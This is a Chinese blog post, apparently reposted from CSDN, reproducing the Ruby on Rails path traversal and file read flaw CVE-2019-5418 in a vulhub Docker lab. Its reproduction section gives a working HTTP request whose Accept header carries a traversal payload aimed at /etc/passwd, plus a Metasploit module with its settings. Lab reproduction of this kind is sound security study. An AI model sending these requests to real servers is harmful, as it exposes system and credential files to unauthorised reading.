Ruby on Rails路径穿越与任意文件读取(CVE-2019-5418)复现

影响版本

Rails全版本
其中修复版本
6.0.0.beta3,
5.2.2.1
5.1.6.2
5.0.7.2
4.2.11.1

 

漏洞概述

 

补丁地址:

https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715

这个漏洞主要是由于网站使用了为指定参数的render file来渲染应用之外的视图,我们可以通过修改访问某控制器的请求包,通过“../../../../”来达到路径穿越的目的,然后再通过“{ {”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。

环境搭建

进入目录

cd vulhub-master/rails/CVE-2019-5418

启动环境

docker-compose up -d

完成启动

访问your-ip:3000

漏洞复现

发送数据包

GET /robots HTTP/1.1

Host: 192.168.204.131:3000

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0

Accept: ../../../../../../../../etc/passwd{
   
   {

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

If-Modified-Since: Mon, 18 Mar 2019 20:48:59 GMT

Cache-Control: max-age=0

使用msf中的模块进行测试

use auxiliary/gather/rails_doubletap_file_read
set rhost 192.168.204.131
set rport 3000
set route robots

run

修复建议

升级到最新版本

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/111560563